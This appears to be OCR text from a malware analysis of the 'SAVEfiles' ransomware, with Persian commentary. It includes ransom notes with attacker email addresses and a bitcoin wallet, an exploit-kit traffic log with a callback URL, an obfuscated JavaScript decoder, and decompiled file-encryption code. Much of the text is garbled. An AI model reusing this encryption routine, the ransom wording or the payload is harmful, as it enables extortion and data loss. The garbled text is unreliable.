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YoV jwlas I1lYourDataRestore!!!.txt .STOP X
ARRAVFVEPURR I1lYourDataRestore!!!.txt .stop X
YeVA 4,4 YY | 1lIRestoreProcess!!!.txt .SUSPENDED X
YA JssTA | IIINFO_RESTORE!!Ltxt WAITING X
YOIA 40 0 I1IRESTORE! 1. txt PAUSA X
YOIA aa Y I11IRESTORE_FILES!!1.txt .CONTACTUS X
YO\A «355\A | I1IDATA_RESTORE!!!.txt .DATASTOP X
VA 4555 7Y I1IRESTORE_DAT !!! txt .STOPDATA X
Yeo\A w;ﬁ q IIIKEYPASS_DECRYPTION_INFO !ll.txt | .KEYPASS X
YA Cew STYY | IHIWHY_MY_FILES_NOT_OPEN !!Ltxt | .WHY X
YA C.M«jﬁ YY' | IIKEYPASS_DECRYPTION_INFO !!l.txt | .KEYPASS X
YOVA jwli Vo | IISAVE_ FILES_INFO!!!Ltxt SAVEfiles X
VA sl IReadme.txt .DATAWAIT VA
VA Lels A | Ireadme.txt INFOWAIT V4
YOA Lels YY1 Ireadme.txt .puma V4
VWA Lels Y2 | Ireadme.txt .pumax V4
VA Lels YV I Ireadme.txt .pumas VA
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35687c4b304al1ddda618d3283bf23400b0ce50a05407156d55d3632272b0cc31  SHA-Yo1

72KB  JU o3Il
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File Edit Format View Help

JWARNING! ] ] ] R
Your files, photos, documents, databases and other important files are encrypted and have the extension:
.SAVEfiles

The only method of recovering files is to purchase an decrypt software and unique private key.

After purchase you will start decrypt software, enter your unique private key and it will decrypt all your

data.

only we can give you this key and only we can recover your files. X

You need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquxBKo4h@bitmessage.ch send us your personal ID
and wait for further instructions.

For you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files
and we will send you back it in a original form FREE.

Price for decryption $300.

This price avaliable if you contact us first 72 hours.

E-mail address to contact us:
BM-2cXonzj9ovn5qdX2MrwMK4 j3qCquXBKo4h@hitmessage. ch

Reserve e-mail address to contact us:
savefiles@india.com

Your personal id:
65e9RaIXXFIM7 0zWmx7nL 3bVRp691w4SNY8UCT ro

5 eals SLaelKly bl las Jol Lo L6 plad 45 Wles sad p3lel rrorln alspls ol ol
oy g5 45 Wlos gad oDl mman ol 63 ad a5 SAVEFiles & a0l &gy 5 Llodd (5,108 505 .
Al b BB LSy 4 by ot AIS ol es 4 LSy Il 2 s LU LS )
L s savefiles@india.com (sl || U,UJT 5SS Gk 5l b eslal sy Sl = gl s 0L 3
Loled S35 bl alge L BM-YcXonzjdovnoqdXYMrwMK¢jYqCquXBKoth@bitmessage.ch
Sy 3 gy e s dnled Jlsl WOl 6l 1y 395 & bgye bl 08 Jls) Jeml 53 (2l
N Toe el e el VY Sie (b OLLS BLil 618 S 53 ke el
S 5oy JBY I lias il 5 e b Ll oLiS e 51 Oliabl S g OLL 3 5 2 dal
Aoled Jlyl ol gl 1 s b gods oLiS ey (540500 LOT U doled Jluyl parlgn (gl 1 0

3 S Il peerlgs G Sl e sl 3 plig ( oldl g 0 BT 3 0 Sl g


mailto:savefiles@india.com

e Ubl g yglis g eslbliyl cyljg
whplele Ublg 5 gUs ¢ lojLu

‘B Data Decryption <BM-ZcXonzjSovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch>
To: [

Hello!

You need to purchase an decrypt software and unique private key.
After you will get software, start it and decrypt all your data.

Price of private key and decrypt software is 0.084 bitcoin with 50% discount.
0.084 bitcoin ~ 290 usd.

Before paying you can send to us up to 3 files for free decryption.
Send us your personal ID too.
Please note that files must NOT contain valuable information.

After payment we answer all your questions about server safety.

The easiest way to buy bitcoin is LocalBitcoins site.

You have to register, click Buy bitcoins and select the seller by payment method and price.
Video manual:

1 - You need register localbitcoins account:

https://www.youtube com/watch?v=6Lx-W8Kxlgd

2 - Buy bitcoins in localbitcoins video:
https://www.youtube com/watch?v=hzHL eeU1tFE

3 - Send your bitcoins to our wallet video manual:
https://www.youtube.com/watch?v=u6CTDz7SXEU

Any bitcoin exchangers:

https-//www bitstamp net/ - Big BTC exchanger
https://www.coinbase.com/ - Other big BTC exchanger
https-//btcdirect eu/ - Best for Europe

https://coincafe.com/ - Recommended for fast, many payment methods
https://bittylicious com/ - Good service for Europe and World
https-/iwww. 247exchange.com/ - Other exchanger
https://paxful_.com/buy-bitcoin/ - Other exchanger

Attention!
Do not rename encrypted files.
Do not try to decrypt your data using third party software, it may cause permanent data loss.
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Data Decryption <BM-2cXonzj9ovn5qdX2MmwMK4j3qCquXBKo4h@bitmessage.ch> = Declatl1l:15PM

To S

Your test decrypted file:

https://we tiit-bDmMN5J44mp

Bitcoin wallet for your payment:
16HTEm3YW8ByvMf9k8fGmZGijcrh5nssZN
amount: 0.084 bitcoin

After payment contact us, we will check the payment, and send you decryption software, private key, decryption instruction and you will decrypt all you files.
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Bitcoin Address Addresses are identifiers which you use to send bitcoins to another person.

Summary Transactions

Address 16HTEmM3YW8ByVMfOk8fGmMZGijcrh5nssZN No. Transactions 4

Hash 160  39f52fa09fdbbac7e6d238b8989be48a053b2ac0 Total Received 0.14240498 BTC
Final Balance 0BTC

Request Payment Donation Button
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Ready when you are

Files deleted in 7 days
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C:\Windows, C:\Program Files (xA7)\Mozilla Firefox, C:\Program Files (xA7)\Internet

Explorer, C:\Program Files (xAT)\Google, C:\Program Files\Mozilla Firefox, C:\Program

Files\internet explorer, C:\Program Files\Google, D:\Windows, D:\Program Files

(xA)\Mozilla  Firefox, D:\Program Files (xA7)\Internet Explorer, D:\Program Files

(xAT)\Google, D:\Program Files\Mozilla Firefox, D:\Program Files\internet explorer,

D:\Program Files\Google
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; v’y » Computer » Media (E)

Organize ¥ «/) Open ~ Print Burn New folder
\ Favorites Name * Date modified Type Size
| | MISAVE_FILES_INFO!!Lixt 12/1/2018 6:45 PM  Text Document 1KB
- Libraries avira_es.exe.SAVEfiles 12/1/2018 6:45PM  SAVEFILES File 5442 KB
Dech.ir).zip.SAVEfiles 12/1/2018 6:46 PM  SAVEFILES File 45,882 KB
& Computer test file (1).bak SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 83 KB
& Local Disk (C) test file (1).docx.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 12KB
< Media (E) test file (1).dwg.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 115 K8
test file (1).exe.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 5442 KB
@& Network test file (1)jpg.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 404 KB
test file (1).key.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 1KB
test file (1).kmz.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 1KB
test file (1).m.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 2KB
test file (1).mp3.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 6,233 KB
test file (1).mp4.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 48,437 KB
test file (1).nfo.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 2KB
test file (1).pdf.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 510 KB
test file (1).PNG.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 12KB
test file (1).rar.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 72,215 KB
test file (1).srt.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 66 KB
test file (1).url. SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 1KB
test file (2).bak SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 90 KB
test file (2).docx.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 539 KB
test file (2).JPG.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 134 KB
test file (2).mp3.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 4,069 KB
test file (2).mp4.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 801 KB
test file (2).rar.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 29,909 KB
w&2.jpg.SAVEfiles 12/1/2018 6:49 PM  SAVEFILES File 226 KB
JLGzip.SAVEfiles 12/1/2018 6:50 PM  SAVEFILES File 23,553 KB
L8 mov.SAVEfiles 12/1/2018 6:50 PM  SAVEFILES File 1,536 KB

5, HISAVE_FILES_INFO!Ltxt Date modified: 12/1/2018 6:45 PM

Text Document

Size: 1012 bytes

Date created: 12/1/2018 6:45 PM

108 58, 1 ... 5 Caleulator Snipping Tool J=3 51 ssdeas 63 2L bl 5l SaveFiles )\J-é\CLg
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| Accessories -
IMSAVE_FILES_INFOMLixt
Calculator.Ink.SAVEfiles SADEGH
Command Prompt.Ink.SAVEfiles
displayswitch.Ink.SAVEfiles Documents
Math Input Panel.ink.SAVEfiles
Mobility Center.Ink.SAVEfiles Pictures
NetworkProjection.Ink.SAVEfiles
Notepad.Ink.SAVEfiles
Paint.Ink.SAVEfiles
Remote Desktop Connection.Ink.SAV|
Run.Ink.SAVEfiles I
Snipping Tool.Ink.SAVEfiles
Sound Recorder.Ink.SAVEfiles Devices and Printers
Sticky Notes.Ink.SAVEfiles
Sync Center.Ink.SAVEfiles Default Programs
Welcome Center.Ink.SAVEfiles
Windows Explorer.Ink.SAVEfiles Help and Support
Wordpad.Ink.SAVEfiles N

Music

11

Computer

Control Panel

4 Back

’ | Search programs and fites po |
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1B Windows Task Manager ——" - =i

— _ P — = N —

file Options View Help
Apphcatons | Processes | Senvces Perormance | Networking | Users |

CPU Usage CPU Usage Histor

Memory [Physical Memory Usage History

Physical Memory (M) System

Total 2047 Handles 16087

Cached 1084 Threads 579

Avallable 1082 Processes 49

Free 23 UpTime 0:01:38:28
Commit (MB) 1197/ 4094

Kernel Memory ()

Paged 1 [ —

Nongaged 49 ¥ Resource Monitor...

Processes: 49 CPU Usage: 1% Physical Memory: 47%
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- Clusters

Res pr Féllout SR EIEEINH PopCashi | JPN | UndefinedDrop | Ransomware [SPIIERICRE]
200 HTTP sp.popcash.net  /go/5" 424 Malvertising Chain

303 HTTP sp.popcash.net  /sgo/i 155 Malvertising Chain

200 HTTP us.digitaldsp.com /api/s 15671 Malvertising Chain

301 HTTP us.digitaldsp.com /api/v 89 Malvertising Chain

200 HTTP datingittlive.info  /?prop-mix&zoneid=1853689 8330 Ebates Redirector 1 Step 1

200 HTTP datingittlive.info /setings.php 1,261 Ebates Redirector 1 Step 2

200 HTTP inerconentenental.pro  /next/gebrialer 5760 Ebates Redirector 2 Step 3 (Keitaro)
200 HTTP hervam.space /diploetic_seling_Absolves_akmuddar_cheerful/agtbasic-13770-slavepen-Enguar... 154,607 Fallout EK Landing - CVE-2018-8174
200 HTTP hervam.space /9383/latticing/MwVAozp/vbONQCGU.html 127,488 Fallout EK Payload: Ransomware
200 HTTP xxxart.pp.ua /1/get.php 114 Ransomware Callback

Nuclear .S oslSt 5l i gasend oS Fallout oS oSt an § oy s0

Content-Type

text/html

text/html; charset=utf-8
text/html; charset=utf-8
text/html; charset=utf-8
text/html; charset=UTF-8
text/html; charset=UTF-8
text/html; charset=utf-8
text/html; charset=UTF-8
application/octet-stream
text/html; charset=UTF-8

Sl 3 b 5l e bl S (sl O 51 g 5 b (S YO\A i ST s 12k e

"l sdalie JB 5 a8 aakad 3 oS oy heeST ) 5 aslinal I (145 ped S e eslizul ST

GCkkgAX0jzx = {
KAaAFaNPLOdewXc: (ADQaK1ldvLbéw-f9 qyleH.iVkI84r0o3tRE]j5SUPBpuYWIGTnzcmgh7No>
QajNwIaOhmfdqfV: function (EpQrHmnBRnFoUzQU)
ar BHijGCAesq = '';
~ CHXPXWrYsyIyQhzY,UbwyuaKLwrCKeGYB,ZmgGKQVGTHxsHW;
BpgAHcSa,DTkPTxwaGBqg, AtUcobsmCXvfUs , FajudGmrkgW;
ar QOW1RTuUuFHkIi = ©;
EpQrHmnBRnFoUzQU = EpQrHmnBRnFoUzQU[ 'replace’](/["A
while (QOW1RTuFHkIi < EpQrHmnBRnFoUzQU[ 'length']) {

BpgAHcSa = t aAFaNPLOdewXc ' ][ 'indexOf '] (EpQrHmnBRnFoUzQU[ 'charAt’' ] (QOW1RTuFHkIi++));
DTkPTxwaGBq = ewXc' ][ "ir Of ' ] (EpQrHmMnBRNFoUzQU[ 'charAt' ] (QOW1RTuFHkIi++));
AtUcobsmCXvfUs d aAFaNPLOdewXc ' ][ *indexOf ' ] (EpQrHmnBRnFoUzQU[ 'charAt '] (QOW1RTuUFHkKIi++));
FajudGmrkgW = this['KAaAFaNPLOdev *1[ "index0f' ] (EpQrHmMNBRNFoUzQU[ 'charAt' ] (QOWIRTUFHKIi++));

CHxPXNr‘YsnythY = (BpgAHcSa << 2) | (DTkPTxwaGBq >> 4);

UbwyuaKLwrCKeGYB = ((DTkPTxwaGBq & 15) << 4) | (AtUcobsmCXvfUs >> 2);
ZmgGKQVGTHxsHW = ((AtUcobsmCXvfUs & 3) << 6) | FajudGmrkqWw;
BHijGCAesq = BHijGCAesq + window[ 'String']['fromCharCode’](CHXPXWrYsyIyQhzY);
if (AtUcobsmCXvfUs 64) {
BHijGCAesq = BHijGCAesq + window['String’]['fromCharCode’](UbwyuakKLwrCKeGYB);

}
if (FajudGmrkgwW != 64) {
BHijGCAesq = BHijGCAesq + window[ 'St '][ ' fromCharCode ' ] (ZmgGKQVGTHxsHW) ;

}

BHijGCAesq GCkkgAXOjzx.WwShgnixIwmobt (BHijGCAesq) ;
return BHijGCAesq;
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<P Etest file (irar X 5185y 1 JuB | AP test file (1).rarSAVEfiles  X|

00500000 | 00 01 02 03 04 05 06 07 08 03 0a Ob Oc 0d O OF — | ooseocon | 00 01 02 03 04 05 06 07 08 08 0a Ob 0c 04 0= OF

004£££00 | 60 56 €6 e4 1la 3e 0a £3 26 b8 db 1c £9 92 “VEa.>.&>}s.0.u7 004£££00 | 35 £8 44 db af 88 28 08 0b 85 7d 28 a5 c6 d6 6c

004fEfio 0d 8c 6b 51 £6 07 18 66 b4 dZ 85 49 cf 7d -£)86-0_1%) 004fff10 | e3 el 10 cd 3c 28 14 b8 56 17 af 2a 2a 1d bl 92

004ffrzo | 49 2za ba c5  ad e 36 £5 05 3% 6z 55 = 004f£zz0 | 04 c7 59 @9 95 =7 ad 4c 81 d7 c3 4= Bb 4d 34 34

c04££E30 | be be 3= 98 3e 51 b 92 2e bf 14 f4 o >1I.Loci.z.8 004f££30 | 17 2a dl fa ds 48 6b le dS 1f ea 51 2e 24 97 56

004££ra0 | 16 a6 a0 bf 34 20 35 bb eb di 42 28 14 0BESEREB( 004££240 | 2£ 30 00 3d ed 05 7f £4  1d 4d 64 55 c7 02 BF d3

004£££50 | da b9 dd 85 1b a0 c& 33 48 11 03 b3 U . (EIHESH..® 004££250 | 1c 92 Ga 60 Sb ac 95 B6 93 64 31 2a 69 64 18 15 .73° [a-t dl¥id..
00452560 | 22 95 8 =2 48 b9 =9 55 36 2b 25 38 H>4BRALUGHEE 004££260 | 42 13 be 6a 1c 12 b2 38 a6 86 Oc 3F £7 73 48 22  B.i..®81f.2-sH"
00452270 | 53 4d Eb fo 2e &8 S5 82 44 30 54 5c  SMcd.h"SwUU,DOT\ 004££270 | 63 88 2a c6 40 85 fa cb o4 B85 aa 34 26 Ob dE 57  c *ER.MEA 24s.2W
co4sEEe0 | 54 4b €2 bO 19 cb S1 b1 b2 84 81 of TRo®.E[Vili'ss, I 004f£ze0 | bb £5 6% af df =1 1a 7c 08 ol al da 6F 42 9 =1 =50 Ba.|.A;DoB¥E
004£££90 | &2 c6 53 £2  Se 98 36 92 50 28 ab 90 AESe~~+EAEE3P (« opnagsgan e5 55 7b 12 8c 42 1 3d 63 d2 a7 db 96 99 0b cc  AU[.CBA—cOSO-™.

Oo4ffra0 | 26 42 94 sS4 =1 ad 47 10 S5 £2 bf b7 |O"]A-BICIC.Us; - 004f£2a0 | 26 af 57 09 26 &b b4 34 32 53 a6 A0 df 49 od 58+ W.tk 4:5[DAUIx
004£££R0 10 83 4a b0 cc fe ab 8¢ a6 e6 d3 &4 .fJ7°ip.pice«e j=ba 004£££fb0 27 ed €9 S0 9f &c 04 aa 35 B2 1d 59 44 £S5 eb b2 vfEPY¥1.25%.YDGas
004f£ffco £f 2e 40 b7 70 6b 24 42 e9 0a b4 £3 LB -plBsi isNa. "4 004fffe0 bb 82 20 1f 02 32 22 86 40 19 2e bb £9 1b e9 ca s, ..2"1@..su.&f
004fffd0 | Oe af al 47 45 93 0d 19 ea 9a 42 68 .7 {GE"EcfZ..&3Bh 004£££fd0 | 05 a6 Sb 55 c4 66 eb fe bd 4c 24 01 ce 05 a8 8f .| [Uhfepsls.I.-

004fffen | el 73 32 9d ef 27 &9 Sc 25 37 19 92 &s2 i"&b Am\37.7 004fffe0 | df d2 41 22 48 d8 4f a5 27 53 45 92 57 d2 cf 93 BROATHOOY'SE'WOI™
004f£frfo | b7 €3 36 76 17 4c 4c Ba 61 de Sf 8b -E6v.LA®O " L3ab_c LLrE233) fd 68 1b 99 ac 64 9f 03 &3 ef bc 36 98 d3 a0 e2 Yh.™-d¥. %1360 &
coscoooo | [2dls6 o1 20 32 S0 235 79 62 €9 cf 7e  §V. 2PC_.&sybEl~ oosocooo | [24)s6 01 20 32 50 43 5 la 3 23 73 62 3 cof 7e  §V. 2PC_.&#ybEi~

00500010 | b7 2¢ 28 05 a0 oe 1f ca oosooo10 [ b7 2e a0 0e 0% 4a Sb Bl 1f c4 93
00500020 & 3d ea d5 ab 3d 1d 81 00500020 & 3d ab 3d a3 ¢l d7 c2 1d 81 51

00500030 | 6a 8f d& db bb o3 12 ca 00500030 | a2 & bb c2 4d 8c 28 9f 12 ca ef 2

00500040 | od 76 4c ££ 28 £6 8 ££ VL (8=b® 00500040 | od 76 28 £6 e6 fe e ££ 2e £8 26 al  .vL¥(Geb® B¥.esi
LLELELET 2 fe a7 &0 =£d 0a £d 8¢ 96 ef =8 18 2px'§._ yOje=-ie. 0os00050 2 fe £d4 02 S£ as £4 8c 96 ef 28 18 2px'y._~yOjm-ié.
00500060 | bS5 £5 36 A& Sb 20 07 7f le 1z Sk £3  pAGO[SAVRA.L..[6 00s00080 | BS £5 sb 20 56 07 7f 1le 1c Sb £3  pBGO[EAVAA.[..[b
00500070 2 b9 ar 19 eb da 63 2e a7 c8 22 £6 RIB.&¥ s;pc.xEms 00500070 2 b eb aa 20 73 63 2e a7 cB 22 £6 RB.EY s;pc.xE"s
oosoooso | =0 10 76 61 a6 cs 35 99 £2 18 00500080 | 20 10 76 &1 =26 c& ad 54 99 Sb 35 99 £2 12 1d 65 €.valE-]™S5™5..e

00500090 | e4 D e0 %¢ 34 ac
00500020 | 4e 10 12 &7 Sd 15

Ok fa 08 27 15 sS&
1d se 1c cc cb eb

00500020 [ e4 0c e0 9c 34 ac k4 23 0b £a 08 27 15 56
00500020 [ 4e 10 12 67 S4 15 7e b4 1d Se 1c cc cb eb 61 dl

<4 i

< 11

File Comparison

GHEE Y & e

Type Offset (Source) Offset (Dest) Size
Matched 5,242,880 5,242,880 52,428,800
Matched 62,914,559 62,914,559 11,033,087

AP test file (2).mp3
00000000 00 01 02 03
oooooooo | [@B]es 33 03 00 00 00 24 4f 67 S4 48 54 32 00 0o
00000010 00 25 00 00 01 ff fe &4 27 0f fe 20 00 40 00 4d
00000020 | 00 75 00 73 00 69 00 63 00 42 00 61 00 6= 00 64 00000020 | a0 Te d& 61 28 4b Sb 73 == 2d al be 56 20 00 £4
00000030 00 32 00 30 00 31 00 35 00 54 50 45 31 00 00 00 00000030 06 8f ed 24 7c 8 20 15 al 2a 96 ce 1c f8 £7 da
00000040 | 33 00 00 01 £f fe 28 06 27 06 28 06 =29 06 20 00  3...§p(."-(-® - 00000040 | 42 de 3d 81 0d 88 69 ad  9d e5 38 77 17 bd £4 51
00000050 2c 06 47 06 27 06 46 08 28 06 2e 06 34 06 20 00 PIEI=TS SO I P 00000050 a2 28 b7 43 87 13 54 44 27 be ca 9 e6 11 21 94
00000060 | 2 00 45 06 48 06 32 06 cc 06 a% 06 20 00 28 06 00000060 | b 41 6€a le 59 7e 9a 97 49 ea 90 01 A7 Ba 56 15  BA3J.¥-E-U8 .x3v.
00000070 27 06 46 06 2f 06 54 41 4c 42 00 00 00 Of 00 0O 00000070 el 228 47 el 4b £7 d7 &c 88 Se 13 Sb €2 32 32 db &~ GAK+»1"~. [b2gl
00000080 | 01 ££ fe 27 06 a3 06 33 06 cc 06 98 06 46 06 54 00000080 | ©5 62 d0 3 07 82 bc 8f fa c7 8d Oe B2 Ta 6a 85 AbBc.,% Uf .,z3
00000080 43 4f 4e 00 00 00 01 00 00 00 54 43 4f 4d 00 00 00000080 28 £1 20 55 7f 34 91 4f 4f d9 ed 30 &b cc 38 b4 (A UD4'000Ui0<Ia"
00000020 00 01 00 00 00 54 52 43 4b 00 00 00 02 00 00 00 00000020 7d 11 24 £f1 Se a2 21 £9 bb cd &3 6b a3 25 77 35 }.4fi~o lanTckesws
000000b0O 31 54 59 45 52 00 00 00 01 00 00 00 54 SO 45 32 000000b0 &2 76 4b S1 cb 35 8z f4 26 af b6 £3 7 dE 24 af IVKQESS6sTgoCos
000000ch 00 00 00 01 00 00 00 55 53 4c 54 00 00 00 05 00 000000ch ad la d% 37 £6 fb 70 db £2 84 71 06 cc d7 48 58 —.0780p06..q. T=HX
00000040 | 00 00 20 20 20 00 S4 S8 S S8 00 00 00 13 00 00 ..  .TXKX... 00000040 | £7 3f d2 e dB 06 c6 74 9d d7 el 09 23 al 59 £7  <20E@.EC xA.#i¥-
000000e0 00 63 &f 6d &d 65 Ee T4 00 40 &4 70 33 62 &f 78 000000e0 9a fe 95 £2 13 ac 5f 37 70 87 b3 70 21 54 1d 3c SpeG.-_Tp#’p!T.<
000000£0 | 62 6f 74 54 4c 41 4e 00 00 00 01 00 00 00 43 4f 000000£0 | €7 2Zb Je Ta fa 63 ae 64 fc 2d If ee 22 b8 e4 ee  C+|zicedi-yiv &I
00000100 4d 4d 00 00 00 OS 00 00 00 65 &e 67 00 54 45 4e 00000100 07 3d a7 £5 cd €3 dS aa €0 88 1f b0 dd 04 5c ba =§51ch2""."FT.\°
00000110 | 43 00 00 00 01 00 00 00 S4 53 S3 45 00 00 00 Qe 00000110 | 78 S8 00 bE e0 3b &4 06 ea ae 97 24 40 28 ca 83 m.&e—5E (EF
00000120 00 00 00 4c 61 76 €6 35 37 2e 37 31 2e 31 30 30 00000120 d5 90 37 8d Of 28 23 f£2 a6 76 d2 92 38 74 £f1 30 8 7 .(#s}vD’ 8LAO
00000130 | S4 SO 4 S3 00 00 00 02 00 00 00 31 41 SO 49 43 00000130 | dc 6 f£d fe le 53 0f 45 3d 7d 14 5c e4 75 9d c6 O=gp.S.E=}.\&u E
00000140 00 Ob €6 47 00 00 00 &9 6d €1 &7 €5 2f 6a 70 €5 00000140 £7 d& 25 83 69 £7 af 26 00 5S¢ b4 ££f 24 06 07 87 0%FisT e\ FE. L
00000150 | 67 00 03 00 £f d8 £f eD 00 10 4a 46 49 46 00 01 00000150 | £5 83 54 a3 d6 al 40 9e ff 2f dS de 02 05 14 40 &5T£3;@2¥/0p...€
00000160 01 00 00 01 00 01 00 00 £f db 00 43 00 01 01 01 00000160 41 c5 d0 6 d7 2f 0Oc eb 8d 9a 1% el 9c 8c 2e a6 afbnx/.& 3.40E B
00000170 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 00000170 0d 73 09 35 e5 9f bl eé dd 8f b3 73 14 14 £f 64 .35.58¥+=¥ s Z
00000180 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 00000180 59 6f 26 77 a4 £9 2b 4c 23 ee 1% 84 cb 2f b2 lc
00000130 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 00000130 &e db 87 6f 17 57 c5 1lc bf 0c &f 87 d0 44 Oc 32
00000120 | 01 01 01 01 01 01 01 01 01 01 01 01 01 ££ db 00 00000120 | BE 12 ba 35 19 1d ed ad e7 56 05 65 dc Sc a4 32

< I 3 < - - B 1L -

I35, 31 L8 | 4B testfile (2)mp3.SAVEfiles  X|
= 00000000 00 01 02 03 04 05 06 07 08 09 0a Ob Oc 0d Oe Of

00000000 | |88 =4 0= be A5 51 o be 41 a3 7a b 0f 15 se 95
00000010 84 cc 55 b2 de c2 el £3 46 86 d5 50 85 95 55 75

06 07 08 03 0a Ob Oc 0d 0e OFf

File Comparison

Type Offset (Source) Offset (Dest) size
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urpress.c

981
982
983
984
985
986
987
988
989
990
991

2loy

&

char *off_4@EAA@ = "!1ISAVE_FILES_INFO!!l.txt"; // weak
char *off_4@E4C8[7] =

"WARNING! \r\nYour files, photos, documents, databases and other important files are encrypted and have the extension: .SAVEfiles\r\nThe only method of rec”,

“overing files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private ke",

"y and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9e",
"vn5qdX2Mrk4j3qCquXBKodh@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your file",

"s - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $3@@. \r\nThis pr”,

"ice avaliable if you contact us first 72 hours.\r\n\r\n\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwHKéj3qCquXBKodh@bitmessage.ch\r\n\r\nReserve e”,
"-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n"

Y // weak

JSE el 1 ol OVEYAAS Sl 22y 0T e 6 gl B 112Gl o sad o5L31 &S slailen

L g b OYEYAA e e s o a1y LaOT lil ol OVEYAA Tl S S e (6,138 5,
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259@
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601

2649
2650
2651
2652
2653
2654
2655
2656
2657
2658
2659
2662
2661
2662
2663
2664
2665
2666
2667
2663
2669
2670
2671
2672
2673

prem—

=]

w25 = &wv3;
hFile = (HANDLE)-1;
1pBuffer = @;
v2a = @;
v26 = @;
hFile = CreateFilewW(lpFileName, @xCO088000, lu, ©, 3u, 8x80u, 8);
if ( hFile == (HANDLE)-1 )
{
vl2 = aCreatefiles;
CxxThrowException(&v12, & _TI2PAG):

}
v19 = GetFileSize(hFile, @);
19 )

if (v

{
CloseHandle(hFile);
hFile = (HANDLE)-1;

LstrepyW(&Stringl, lpFileName);

1pString2 = (LPCWSTR)std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::c_str(al + 104);

lstrcatW(&Stringl, lpString2):
if ( !MoveFileW(lpFileName, &Stringl) )
{

v1l = aMovefile;
CxxThrowException(&vil, &_TI2PAG);

vie - o;
CxxThrowException(&vie, & TI1H);
}
1pBuffer = virtualalloc(@, @x500@10u, ©x1000u, 4u);
if ( 1lpBuffer )
{
vo = avirtualalloc;

CxxThrowException(&ve, & TI2PAG);

}

loistanceToMove = @;

do

{
if ( SetFilePointer(hFile, 1lDistanceToMove, @, @) == -1 )

break;

NumberOfBytesRead = 8;
if ( IReadFile(hfile, lpBuffer, @x588800u, &NumberOfBytesRead, @) )
i

v8 = aReadfile;

CxxThrowException (&v8, &_TI2PAG);

}
if ( !NumberoOfBytesRead )
break;
memset(&Dst, ©, @x15u);
memset(&v17, 8, @x160@u);
v24 = VirtualAlloc(®, NumberOfBytesRead, @x1800u, 4u);
memcpy ((void *)v24, lpBuffer, NumberOfBytesRead);
sub_4@1266((int)&vl7, al + 24, &Dst);
sub_4@8233E((int)&v17, (int)v24, NumberOfBytesRead);
if ( setFilePointer(hFile, lDistanceToMove, @, @) == -1 )
break;
NumberOfBytesWritten = @;
if ( !WriteFile(hFile, v24, NumberOfBytesRead, &NumberOfBytesWritten, @) )
{
i w7 = aWritefile;
CxxThrowException(&v7, & TI2PAG);

¥
1DistanceToMove += 57671680;
vl4a = v19 - 1DistanceToMove;

while ( (signed int)(v19 - lDistanceToMove) >=
CloseHandle(hFile);

hFile = (HANDLE)-1;

1strcpyh(&NewFileName, lpFileName);

v4 = (LPCWSTR)std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::c_str(al + 104);

lstrcati(&NewFileName, v4);
result = MoveFileW(lpFileName, &NewFileName);
if ( !result )

v = aMovefile @;
CxxThrowException(&v6, & TI2PAG);

v26 = -1;
if ( lpBuffer )
result = VirtualFree(lpBuffer, @, 8x8080u);
if ( v24 )
result = VirtualFree((LPVOID)v24, ©, ©x8080u);
if ( hFile != (HANDLE)-1 )
result = CloseHandle(hFile);
return result;
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Urpress.c

992 char *off 40E4F@ = ".SAVEfiles”; // weak<=
993 void *off_4@E518 = &unk_41@6B8; // weak

994 LPCWSTR lpWindowName = L"LPCWSTRszTitle"; // idb

995 LPCWSTR lpClassName = L"LPCWSTRszWindowClass"; // idb
996  wchar_t aAdmin[] = L"--Admin™; // idb

997 wchar_t aFornetres[] = L"--ForNetRes™; // idb

998  wchar_t aAutostart_®[] = L"--AutoStart™; // idb

999  wchar_t aService[] = L"--Service"; // idb

16860  wchar_t aAdmin_@[8] = L"--Admin"; // weak

leel wchar_t aRunas[6] = L"runas"; // weak

(e 93 35 e s, sS pls 51 & 5> 4 SaveFiles )\J':WCL{ (=350 ol M3 S ailen

23 a5m s S LB pled 5 Al oo Sl 1) OBL B s (S5 1 57 50 Lo 55 pls Bl OLL 3

Dyan Bzl eam 51 aS Wib o las,pS pls 4 byrse 15 US axksd S e (6108 e, Lol

alWindows[12] = L"C:\\Windows\\"; // weak

aCProgramFilesX[4@] = L"C:\\Program Files (x86)\\Mozilla Firefox\\"; // weak
aCProgramFilesX_®8[42] = L"C:\\Program Files (x86)\\Internet Explorer\\"; // weak
